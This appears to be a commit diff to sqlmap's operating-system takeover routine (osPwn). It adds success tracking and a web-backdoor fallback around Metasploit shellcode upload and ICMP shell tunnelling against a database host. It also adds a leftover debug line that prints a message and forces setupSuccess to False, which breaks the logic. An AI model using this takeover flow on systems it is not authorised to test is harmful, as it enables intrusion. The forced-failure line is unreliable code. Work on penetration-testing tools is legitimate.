1515from lib .core .data import logger
1616from lib .core .enums import DBMS
1717from lib .core .enums import OS
18+ from lib .core .exception import SqlmapFilePathException
1819from lib .core .exception import SqlmapMissingDependence
1920from lib .core .exception import SqlmapMissingMandatoryOptionException
2021from lib .core .exception import SqlmapMissingPrivileges
@@ -86,6 +87,8 @@ def osShell(self):
8687
8788 def osPwn (self ):
8889 goUdf = False
90+ fallbackToWeb = False
91+ setupSuccess = False
8992
9093 self .checkDbmsOs ()
9194
@@ -152,10 +155,11 @@ def osPwn(self):
152155 if Backend .getIdentifiedDbms () in (DBMS .MYSQL , DBMS .PGSQL ):
153156 self .sysUdfs .pop ("sys_bineval" )
154157
158+ self .getRemoteTempPath ()
159+
155160 if isStackingAvailable () or conf .direct :
156161 web = False
157162
158- self .getRemoteTempPath ()
159163 self .initEnv (web = web )
160164
161165 if tunnel == 1 :
@@ -184,30 +188,50 @@ def osPwn(self):
184188
185189 if goUdf :
186190 exitfunc = "thread"
191+ setupSuccess = True
187192 else :
188193 exitfunc = "process"
189194
190195 self .createMsfShellcode (exitfunc = exitfunc , format = "raw" , extra = "BufferRegister=EAX" , encode = "x86/alpha_mixed" )
191196
192197 if not goUdf :
193- self .uploadShellcodeexec ()
198+ setupSuccess = self .uploadShellcodeexec (web = web )
199+
200+ print "forcing setupSuccess to False"
201+ setupSuccess = False
202+
203+ if setupSuccess is not True :
204+ if Backend .isDbms (DBMS .MYSQL ):
205+ fallbackToWeb = True
206+ else :
207+ msg = "unable to mount the operating system takeover"
208+ raise SqlmapFilePathException (msg )
209+
210+ if Backend .isOs (OS .WINDOWS ) and Backend .isDbms (DBMS .MYSQL ) and conf .privEsc :
211+ debugMsg = "by default MySQL on Windows runs as SYSTEM "
212+ debugMsg += "user, no need to privilege escalate"
213+ logger .debug (debugMsg )
194214
195- if Backend .isOs (OS .WINDOWS ) and conf .privEsc :
196- if Backend .isDbms (DBMS .MYSQL ):
197- debugMsg = "by default MySQL on Windows runs as SYSTEM "
198- debugMsg += "user, no need to privilege escalate"
199- logger .debug (debugMsg )
200215 elif tunnel == 2 :
201- self .uploadIcmpshSlave (web = web )
202- self .icmpPwn ()
216+ setupSuccess = self .uploadIcmpshSlave (web = web )
203217
204- elif not isStackingAvailable () and Backend .isDbms (DBMS .MYSQL ):
218+ if setupSuccess is not True :
219+ if Backend .isDbms (DBMS .MYSQL ):
220+ fallbackToWeb = True
221+ else :
222+ msg = "unable to mount the operating system takeover"
223+ raise SqlmapFilePathException (msg )
224+
225+ if not setupSuccess and Backend .isDbms (DBMS .MYSQL ) and not conf .direct and (not isStackingAvailable () or fallbackToWeb ):
205226 web = True
206227
207- infoMsg = "going to use a web backdoor to establish the tunnel"
228+ if fallbackToWeb :
229+ infoMsg = "falling back to web backdoor to establish the tunnel"
230+ else :
231+ infoMsg = "going to use a web backdoor to establish the tunnel"
208232 logger .info (infoMsg )
209233
210- self .initEnv (web = web )
234+ self .initEnv (web = web , forceInit = fallbackToWeb )
211235
212236 if self .webBackdoorUrl :
213237 if not Backend .isOs (OS .WINDOWS ) and conf .privEsc :
@@ -220,22 +244,29 @@ def osPwn(self):
220244 warnMsg += "back-end DBMS underlying system is not Windows"
221245 logger .warn (warnMsg )
222246
223- self .getRemoteTempPath ()
224-
225247 if tunnel == 1 :
226248 self .createMsfShellcode (exitfunc = "process" , format = "raw" , extra = "BufferRegister=EAX" , encode = "x86/alpha_mixed" )
227- self .uploadShellcodeexec (web = web )
249+ setupSuccess = self .uploadShellcodeexec (web = web )
250+
251+ if setupSuccess is not True :
252+ msg = "unable to mount the operating system takeover"
253+ raise SqlmapFilePathException (msg )
254+
228255 elif tunnel == 2 :
229- self .uploadIcmpshSlave (web = web )
230- self .icmpPwn ()
231- else :
232- errMsg = "unable to prompt for an out-of-band session because "
233- errMsg += "stacked queries SQL injection is not supported"
234- raise SqlmapNotVulnerableException (errMsg )
256+ setupSuccess = self .uploadIcmpshSlave (web = web )
235257
236- if tunnel == 1 :
237- if not web or (web and self .webBackdoorUrl is not None ):
258+ if setupSuccess is not True :
259+ msg = "unable to mount the operating system takeover"
260+ raise SqlmapFilePathException (msg )
261+
262+ if setupSuccess :
263+ if tunnel == 1 :
238264 self .pwn (goUdf )
265+ elif tunnel == 2 :
266+ self .icmpPwn ()
267+ else :
268+ errMsg = "unable to prompt for an out-of-band session"
269+ raise SqlmapNotVulnerableException (errMsg )
239270
240271 if not conf .cleanup :
241272 self .cleanup (web = web )
0 commit comments